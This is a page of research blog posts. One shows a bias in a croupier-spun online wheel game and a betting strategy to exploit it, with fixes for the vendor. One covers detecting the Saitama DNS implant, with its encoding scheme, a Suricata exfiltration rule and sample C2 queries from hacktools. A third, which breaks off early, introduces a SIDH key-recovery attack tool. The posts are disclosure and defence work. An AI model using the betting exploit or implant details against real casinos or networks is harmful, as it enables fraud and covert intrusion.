There are new articles available, click to refresh the page.
Before yesterdayNCC Group Research

Wheel of Fortune Outcome Prediction – Taking the Luck out of Gambling

16 August 2022 at 19:50

Authored by: Jesús Miguel Calderón Marín


Two years ago I carried out research into online casino games specifically focusing on roulette. As a result, I composed a detailed guide with information on classification of online roulette, potential vulnerabilities and the ways to detect them[1].

Although this guideline was particularly well-received by the security community, I felt that it was too theoretical and lacked a real-world example of a vulnerable casino game.
With this, I decided to carry out research on a real casino game in search of new vulnerabilities and exploit techniques. In case of success, I planned to share the results with the affected vendor[2] and afterwards with the community.

While I was looking for a target I had a look on a particular variant of the casino game ‘Wheel of fortune’. The wheel is spun manually by a croupier and not by any automated system. That caught my eye and made me think about the randomness of the winning numbers. Typically, pseudo random number generators (PRNGs) are one of the main targets when it comes to game security assessments. However, there is no a PRNG in this case. Apparently, the randomness relies on the number of times the croupier spins the wheel, which, in turn, depends on their arm strength among other properties. The question that immediately came to my mind was whether a croupier is a good ‘PRNG’?


IMPORTANT NOTE. For security reasons and in order to keep confidential the identity of the vendor and game affected, some data has been redacted or omitted and the name of the game was changed to a generic one (Big Six). In addition, screenshots of the real wheel and croupiers have been substituted by similar images specially created for this purpose.

Bix Six is a casino game based on Wheel of Fortune game. Briefly, it is a big vertical wheel where the player bets on the number it will stop on [3].

According to this security analysis, the outcome of the Big Six game is predictable enough in order that the house edge could be overcome and consequently a profit could be made in the long run. Generally speaking, croupiers unconsciously tend to spin the wheel a specific number of times hence the dispersion of the number of spins is too small. Consequently, some positions of the wheel had higher chances of winning and a player could benefit by betting on these positions.

Table of Contents

The rules

The wheel is comprised of 54 segments. The possible outcomes on the wheel are 1, 2, 5, 10, 20, 40, multiplier 1 (M1) and multiplier 2 (M2).

Figure 1 – Bix Six Wheel

Players bet on a number they think the wheel will land on and then the croupier spins the wheel. The bets must be placed within the table limits, which are shown on the screen. The colour around the countdown indicates when players can place bets (green), when betting time is nearly over (amber) and when no further bets can be placed for the current round (no countdown).

Figure 2 – Phases of the betting round

It is worth mentioning that the croupier starts spinning the wheel before the betting time is over and continues doing it for several seconds once the betting time is over and the betting panel is no longer available.

Some spins after, the winning number is determined and pay-outs are made on winning bets.

Figure 3 – Winning segment indicated by the leather pointer at the top of the wheel

Odds and pay-outs

The wheel can stop on the numbers 1, 2, 5, 10, 20 and 40. The pay-out of each segment is a bet multiplied by its number plus the stake. For example, if a player bets 15 pounds on number 10 and this turns out to be the winning number, the player is paid 165 pounds (15 x 10 + 15).

The segments M1 and M2 are multiplier segments, which makes the game more interesting. If the wheel stops on any of them, new bets are not accepted, and the wheel is spun again. However, any wins on the next spin are multiplied by [*REDACTED*] or [*REDACTED*], according to the multiplier the wheel stops on in the original spin. If the wheel stops on two or more multipliers, the final win is increased by as many times as all the multipliers before indicate.

The table below shows the number of stops, pay-out and house edge for each possible outcome:

Table 1 – Odds and pay-outs

Wheel tracker

A script was developed to record the behaviour and the outcome of the Bix Six online game. The obtained data included inter alia, initial speeds of the wheel, croupiers and winning numbers.

7,278 hands were recorded in April 2021 and subsequently analysed. The figures below show some of those hands.

Figure 4 – Tracked hands

Among most relevant data for analysis, the following is included:

  • winningNumber – the winning number displayed on the wheel as an outcome of every hand (1, 2, 5, 10, 20, 40, M1, o M2).
Figure 5 – Winning Number ‘2’
  • AbsolutePosition – unique number to identify unambiguously every segment. E.g. the yellow segment has the absolute position 0. This does not vary from hand to hand unlike relative positions (see the definition below).
Figure 6 – Segments’ identifiers (absolute positions 0, 18, 30, 43)
  • winningAbsolutePosition – the absolute position of the segment of the winning number. The following picture shows the winning number 40, which has the absolute position 0.
Figure 7 – Winning Absolute Position ‘0’
  • direction – the direction in which the wheel is spun. The value assigned to it is whether ‘CLOCKWISE’ or ‘ANTICLOCKWISE’.
  • positions_run – identical to the number of the wheel spins multiplied by 54 (the number of segments the wheel is divided into). For instance, if the wheel spins 1.5 times, the value of this variable will be 81 (1.5 * 54).
  • HAND_TIME (Initial position) – The moment in the video when the hand starts (e.g. 35.2 seconds from the beginning of the recording). This coincides with the instant before the betting panel is disabled and no longer available until the next game (specifically 0.5 seconds before). The position of the wheel at this moment will be referred to as the initial position from now on.
Figure 8 – Initial position – instant before the betting panel is disabled
Figure 9 – Instant when the betting panel is disabled
  • Relative positions – unique numbers to identify the segments of the wheel which are assigned at the initial position beginning from the segment on the top (position 1), followed by the next segment (position 2), etc. The next segment is on its left if the direction is clockwise or on its right if the direction is anticlockwise.
Figure 10 – Relative positions assigned at the initial position
  • winningRelativePosition – defines the relative position of the segment containing the winning number. It can be calculated using the following formula: round(positions_run % 54, 0) + 1. E.g. in the figures below, the blue segment that is in the relative position number 10 is the winning one. Therefore, the winning relative position is 10 for this hand.
Figure 11 – Initial position – Relative positions
Figure 12 – Final position – Winning relative position ‘10’

Wheel behaviour analysis

The values of the variables ‘winningAbsolutePosition’, ‘winningNumber’ and ‘winningRelativePosition’ have been analysed to establish the fact that they are random. In order to do this, the chi-square test of independence have been used to ascertain whether the difference between the analysed numbers distribution and the expected distribution is attributed to good luck or, on the contrary, to the lack of randomness, which could be eventually exploited by a malicious player. Should any further information about the method be required, the reference added to this document could be consulted [1][2].

Variables winningNumber and winningAbsolutePosition

The variables ‘winningNumber’ and ‘winningAbsolutePosition’ have successfully passed the test. Particularly, in case of ‘winningNumber’ the chi-squared statistic was 4.48. The critical value for the distribution chi-square with 7 degrees of freedom and the level of significance of 1% is 18.47[3]. As the critical value is significantly higher than chi-squared statistic (4.48), it is impossible to state that winning numbers are not random.

Similarly, the statistics for ‘winningAbsolutePosition’ was 32.18, which is much less than the critical value 79.84 (53 degrees of freedom and a level of significance of 1%). This implies that it cannot be stated that there is difference in size of the segments or the wheel is biased.

Variable winningRelativePosition

However, as for the parameter ‘winningRelativePosition’, it is notable that some positions win more frequently than others do, which could make it possible for a player to overcome the house edge and benefit from it. According to the collected data, the chi-squared statistic is 90.75 and exceeds the critical value 79.84 (53 degrees of freedom and a level of significance of 1%). In addition, the p-value (probability of obtaining test results at least as extreme as the results actually observed) [4] is 0.095%. These results suggest that the parameter ‘winningRelativePosition’ is far from being random.

Table 2 – Chi Squared – winningRelativePosition

The table below shows that p-value is even lower in winning relative positions for hands with clockwise direction, particularly 0.00000014%.

Table 3 – Chi Squared – winningRelativePosition – Clockwise

Simultaneous confidence intervals [5][6] were calculated for this last sample to ultimately know the maximum and minimum potential benefit which a player would be able to gain. In order to work this out, the Wilson score method was used with a confidence level of 90%.

It was estimated that a player has a probability of 2.15% of winning betting on the position 29 in the worst of cases. This probability considerably exceeds the expected value (1.851%) and implies a significant advantage for the player.

Table 4 -Confidence Intervals (Wilson method – 90% confidence) for winning relative positions – CLOCKWISE

Exploiting lack of randomness on winning relative positions

In order to exploit the lack of randomness of winning relative positions, betting strategies have to be designed. The following two sections include betting strategies designed for clockwise and anticlockwise games, and the analysis of their efficiency in comparison with other strategies.

Betting Strategies

A very simple winning betting strategy consists in betting on number 40 if the segment (there is only one segment with number 40) is in the relative position 29 and the wheel direction is clockwise. The following shows an example of how this strategy works. 

The image below shows the initial position of the wheel (this coincides with the instant before the betting panel is disabled and no longer available until the next game). Number 40 is in the relative position 8 but not in the relative position 29. Therefore, this game would be ignored, and no bets should be made.

Figure 13 – Initial position – Segment 40 is on the relative position 8

In the following initial position, number 40 is in the relative position 29. Therefore, a bet should be made on number 40.

Figure 14-  Initial position – Segment 40 is on the relative position 29

It is worth mentioning that the bets would need to be made in an automated way using a script because such tasks as identifying the number positioned in a specific relative position, and making (or not making) a bet within 0.5 seconds, are not possible to do manually.

According to the simultaneous confidence intervals calculated previously, the probability of winning would be between 2.15% and 3.01% (without taking into account the M2 and M1 segments), which considerably exceeds the expected value (1/54 = 0.0185 = 1.85%).

Taking into account the aforementioned probabilities and assuming that:

  • the wheel stops on the segments ‘M1’ and ‘M2’ with probabilities 1.9% and 1.4% in the worst of the cases, and 2.71% and 2.12% in the best of the cases.
  • all the segments have equal probability of winning if previously the wheel stopped on ‘M2’ or ‘M1’
  • the size of the bet is always 1€ and the winning quantity limit is 500.000€

it was estimated that the player could obtain a return on betting that would range from 0.56% to 41.80% using this strategy. For instance, a player would win a minimum of 5.6€ and a maximum of 418€ per every 1000€ bet, with approximately 90% of confidence.

Notably, this strategy might require long time to obtain a ‘worthy’ benefit as most of the games are discarded because bets are only placed when number 40 is in the relative position 29.

As a proof of concept, a more complex betting strategy was designed based on the estimated probabilities and expected ROI. It will be referred to as ‘MY BETTTING STRATEGY’ from now on.

Table 5 – My betting strategy

Depending on the direction (CLOCKWISE and ANTICLOCKWISE), the strategies are different.

The columns ‘BEST NUMBER TO BET ON’ contain the numbers which the player should bet on and the columns ‘RELATIVE POSITION OF NUMBER 40’ indicate the relative position of number 40.

For example, if the wheel is spinning clockwise and the relative position of the segment 40 is 7 (see the image below), the player should not bet on any number.

Figure 15 – Initial position – Segment 40 is on the relative position 7

However, if the wheel is spinning clockwise and the relative position of the segment 40 is 39, the player should bet on number 10 according to the strategy (see the following image and table).

Figure 16 – Initial position – Segment 40 is on the relative position 39
Table 6 – Excerpt from the ‘My betting strategy’ table

Analysing the effectiveness of betting strategies

A computer simulation of a fictitious player following ‘MY BETTING STRATEGY’ described in the previous section was run using the sample of 7.278 games (Figure 4 – Tracked hands).

For the simulation, it was assumed that:

  • all the segments have equal probability of winning if previously the wheel stopped on ‘M2’ or ‘M1’
  • as the winning numbers after the wheel stopping on ‘M2’ and ‘M1’ were not tracked by the script, the expected ROI was returned when the ‘winning segment’ was either ‘M2’ or ‘M1’. For instance, if following the strategy one euro is bet is on number 10 and the wheel stops on the segment ‘M2’, the total balance will be increased by [*REDACTED*] as this quantity is the expected ROI over the long run.
  • the size of the bet is always 1€ and the winning quantity limit is 500.000€

 The following table shows the results:

Table 7 – ROI of ‘My betting strategy’

Noticed that not all the games were played. E.g. for the ‘CLOCKWISE’ direction, 1,102 out of 3,646 games were played, which means that 2,544 were ignored, as they were not profitable according to the strategy.

The balance shows the winnings (positive in both cases) and the column ‘ROI’ indicates the average money per played hand, which the player made. In other words, ROI = 100 * ‘BALANCE’ / ‘GAMES PLAYED’.

In order to determine the effectiveness of the betting strategy, the probability of obtaining a return greater than or equal to the returns obtained was worked out. Specifically, a bootstrap[7] analysis was performed to estimate the distribution of returns for the following losing strategies:

  • RANDOM strategy consists in betting on any number (1, 2, 5, 10, 20 or 40) randomly.
  • ALWAYS 10 strategy consists in always betting on number 10. This is a very interesting strategy to compare with ‘MY BETTING STRATEGY’, as number 10 has the lowest house edge among all the numbers, [*REDACTED*]% (see Odds and pay-outs). Therefore, ‘ALWAYS 10’ strategy is supposed to be the best strategy as it allows minimising the losses per hand.

It is worth mentioning that Monte Carlo[8] analysis was performed as well, which yielded very similar results.

The following table shows the results of the analysis:

Table 8 – Results of the comparison between the strategies ‘RANDOM’, ‘ALWAYS 10’ and ‘MY BETTING STRATEGY’

As it can be observed, the probability of obtaining a return greater than or equal to ‘MY BETTING STRATEGY’ with the ‘random’ and ‘always 10’ betting strategies (across 1,102 and 303 games respectively) is less than 1%. This result suggests that the high effectiveness of ‘MY BETTING STRATEGY’ is far from being by luck.

The following graphs visually illustrate the effectiveness of ‘MY BETTING STRATEGY’ for the CLOCKWISE direction in comparison with the ‘random’ and ‘always 10’ betting strategies. A thousand games were simulated.

Figure 17 – MY BETTING STRATEGY vs ALWAYS 10 strategy
Figure 18 – MY BETTING STRATEGY strategy vs RANDOM strategy

It is noteworthy that better strategies could be worked out. However, they were not explored as exploiting the lack of randomness in an efficient way was not the aim of this analysis but highlighting the fact that the house edge could be overcome.

Other Considerations

It is worth mentioning that no intrusive tests were conducted during this research. Additionally, it was not necessary to make any bets to detect or proof the potential vulnerability described in this document. The interaction with the game was limited to record videos of the wheel, which were analysed afterwards.

Other online games were found to be similar to Bix Six. Therefore, these games might be vulnerable as well.


It is recommended to make the necessary changes to the game in order to generate random winning relative positions. This way, it will not be possible to overcome the house edge and make profit in the long run.

The best and safest solution (probably, the most expensive to implement as well) is to replace the croupiers by hardware that randomly generates the outcome and spins the wheel with the necessary and exact strength to show the previously determined number as the winning number.

Other solution might consist in increasing the difference between the minimum and maximum number of wheel spins. According to the observations, the croupiers currently spin the wheel approximately between 2.7 times (150 segments) and 4.7 times (258 segments). This means a difference of only two wheel spins (4.7 – 2.7 = 2). Additionally, it was observed that the croupiers unconsciously tend to spin the wheel a specific number of times. Particularly, a number between 3.56 and 3.62 times (192.5 – 195.5) as can be seen in the following histogram:

Picture 19 – Number of spins (expressed in number of segments)

Apparently, the fact that this distribution is bell-shaped is the reason why the winning positions are not random enough. Therefore, increasing the difference between the maximum and minimum number of wheel spins will help to flatten the curve and, consequently, to obtain more random winning numbers.

To illustrate this solution, a simulation of 7,200 wheel spins, whose numbers of segments run ranged from 147.5 to 511 (4 wheel spins difference instead of 2), was conducted. Its histogram can be seen in the image below:

Picture 20 – Number of spins (expressed in number of segments)

A chi-square test was conducted, and the p-value obtained was 98.6%. This result conforms well with a fair game and the deviation from expectations is well with the normal range.

Table 9 – Chi Squared – Winning numbers

Alternatively, winnings of players could be monitored and analysed statistically in real time. If a player’s winnings were unlikely to be by chance at a particular time, their accounts could be blocked temporarily and further investigation could be undertaken. Additionally, suspicious betting patterns could be monitored as well. For example, a player betting only on specific numbers (40 and 20) sporadically could be an indicative of a player trying to exploit this issue.


[1] Online Casino Roulette – A guideline for penetration testers and security researchers: https://research.nccgroup.com/2020/09/18/online-casino-roulette-a-guideline-for-penetration-testers-and-security-researchers/

[2] NCC Group Vulnerability Disclosure Policy: https://research.nccgroup.com/wp-content/uploads/2021/03/Disclosure-Policy.pdf

[3] Big Six – Wizard of odds: https://wizardofodds.com/games/big-six/

[4] Chi-squared distribution: https://en.wikipedia.org/wiki/Chi-squared_distribution

[5] Goodness of fit: https://en.wikipedia.org/wiki/Goodness_of_fit

[6] Chi Square Distribution Table for Degrees of Freedom 1-100: https://www.easycalculation.com/statistics/chisquare-table.php

[7] P-value – Wikipedia: https://en.wikipedia.org/wiki/P-value

[8] Confidence interval: https://en.wikipedia.org/wiki/Confidence_interval

[9] MultinomCI – Confidence Intervals for Multinomial Proportions: https://rdrr.io/cran/DescTools/man/MultinomCI.html

[10] Bootstrapping – https://en.wikipedia.org/wiki/Bootstrapping_(statistics)

[11] Monte Carlo – https://en.wikipedia.org/wiki/Monte_Carlo_method

Detecting DNS implants: Old kitten, new tricks – A Saitama Case Study 

11 August 2022 at 15:20

Max Groot & Ruud van Luijk


A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama.


For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.  

In May 2022, security firm Malwarebytes published a two1-part2 blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.  

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.  

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection. 

Reconstructing the Saitama traffic 

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere3. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available. 

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP. 

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.  

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.  

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.  

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’. 

Function used by Saitama client to convert an integer into an encoded string

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down. 

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.   

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.  

Server-side implementation to arrive at the same shuffled alphabet as the client

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.  

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.  

Sleep configuration of the implant. The integers represent sleep times in milliseconds

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.  

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server. 

Transmission between server implementation and the implant

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command. 


Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.  


Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule: 

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;) 

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts. 

Content Match  Explanation 
00 01 00 00 00 00 00 00  DNS query header. This match is mostly used to place the pointer at the correct position for the byte_test content matches. 
byte_test:1,>=,0x1c,0,relative;  Next byte should be at least decimal 25. This byte signifies the length of the coming subdomain 
byte_test:1,<=,0x1f,0,relative;  The same byte as the previous one should be at most 31. 
dns_query; content:”.”; content:”.”; distance:1; content:!”.”;  DNS query should contain precisely two ‘.’ characters 
pcre:”/^(?=[0-9][a-z]|[a-z][0-9])[a-z0-9] {28,31} 
Subdomain in DNS query should contain at least one number and one letter, and no other types of characters.
threshold:type both, track by_src, count 50, seconds 3600  Only trigger if there are more than 50 queries in the last 3600 seconds. And only trigger once per 3600 seconds. 
Table one: Content matches for Suricata IDS rule

The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes. 


The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about4, is better suited.  

Hacktool  Example 
DNScat2  35bc006955018b0021636f6d6d616e642073657373696f6e00.domain.tld5 
Weasel  pj7gatv3j2iz-dvyverpewpnnu–ykuct3gtbqoop2smr3mkxqt4.ab.abdc.domain.tld 
Anchor  ueajx6snh6xick6iagmhvmbndj.domain.tld6 
Cobalt Strike  Api.abcdefgh0.123456.dns.example.com or   post. 4c6f72656d20697073756d20646f6c6f722073697420616d65742073756e74207175697320756c6c616d636f20616420646f6c6f7220616c69717569702073756e7420636f6d6d6f646f20656975736d6f642070726.c123456.dns.example.com 
Sliver  3eHUMj4LUA4HacKK2yuXew6ko1n45LnxZoeZDeJacUMT8ybuFciQ63AxVtjbmHD.fAh5MYs44zH8pWTugjdEQfrKNPeiN9SSXm7pFT5qvY43eJ9T4NyxFFPyuyMRDpx.GhAwhzJCgVsTn6w5C4aH8BeRjTrrvhq.domain.tld 
Saitama  6wcrrrry9i8t5b8fyfjrrlz9iw9arpcl.domain.tld 
Table two: Example DNS queries for various toolings that support DNS tunnelling

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.  

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.  

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives. 

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign. 

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs. 


When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes. 

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.  


With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.  

The server-side implementation of Saitama can be found on the Fox-IT GitHub.  

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP. 


[1] https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/ 
[2] https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/ 
[3] https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
[4] https://blog.fox-it.com/2019/06/11/using-anomaly-detection-to-find-malicious-domains/   

Implementing the Castryck-Decru SIDH Key Recovery Attack in SageMath

8 August 2022 at 21:44


Last weekend (July 30th) a truly incredible piece of mathematical/cryptanalysis research was put onto eprint. Wouter Castryck and Thomas Decru of KU Leuven published a paper “An efficient key recovery attack on SIDH (preliminary version)” describing a new attack on the Supersingular Isogeny Diffie-Hellman (SIDH) protocol together with a corresponding proof-of-concept implementation.

SIDH is at the core of the Post-Quantum key encapsulation mechanism SIKE, which was expected to continue to round four of the NIST Post-Quantum Project for consideration of standardisation. The paper says that their proof of concept code can break the proposed NIST level 1 parameters (supposedly approximating security on-par with AES-128) in an hour of single core computation, and the strongest parameter set in less than 24 hours.

However, the proof of concept code published has been written using the computer algebra software system Magma. Magma is a very efficient and powerful piece of software, but it is difficult for people to obtain access to. This meant that despite being able to run the attack over a lunch break, most of the community was unable to verify the result at all.

Motivated by a beautiful attack and a love of open-source software, a plan was made to read the attack and implementation and then reimplement it in SageMath; a free, open-source mathematics software system. This was not only a great opportunity to learn exactly how the attack came together, but the effort should also then open up the research to the cryptographic community, who could verify the attack themselves. There’s nothing more convincing than seeing the secret key appear before your very eyes!

This blog post is about the attack, but it’s mainly a story about how the code was reimplemented and the help which was received from collaborators along the way. It’s been a wild week and there’s a lot to learn in more detail, but for those eager to break some isogeny based crypto protocols, the implementation is now available on a public GitHub repository. Thanks to some additional performance enhancements that we’ll talk about along the way, you can break the SIKE NIST level 1 parameter set with your laptop, a fresh download of SageMath and only 10 minutes of your time.

Approximate Running Time $IKEp217 SIKEp434 SIKEp503 SIKEp610 SIKEp751
Paper Implementation (Magma) 6 minutes 62 minutes 2h19m 8h15m 20h37m
Our implementation (SageMath) 2 minutes 10 minutes 15 minutes 25 minutes 1-2 hours
Comparison between running times of the original proof of concept released with Wouter Castryck and Thomas Decru‘s paper, and the current version of our SageMath implementation. Our implementation is available in a public repository: https://github.com/jack4818/Castryck-Decru-SageMath

Table of Contents

The search for quantum-safe cryptography

To understand the importance of the attack, it helps to put it in context. In 2016, NIST announced the Post-Quantum Cryptography Project. The aim was to call on cryptographers to submit algorithms split between two categories: key encapsulation mechanisms (KEMs) and digital signatures. The motivation is that the asymmetric cryptography currently in place — Diffie-Hellman key exchanges using elliptic curves for a KEM and ECDSA/EdDSA for digital signatures — can be efficiently broken by an attacker with access to a sophisticated quantum computer using Shor’s algorithm.

Although the construction of such a quantum computer has not been achieved, history tells us that the uptake of new algorithms is slow (we still see 3DES and MD5 in the wild, for example). So NIST believe the best plan is to act preemptively and to start working on getting new, quantum-safe algorithms out there as soon as possible.

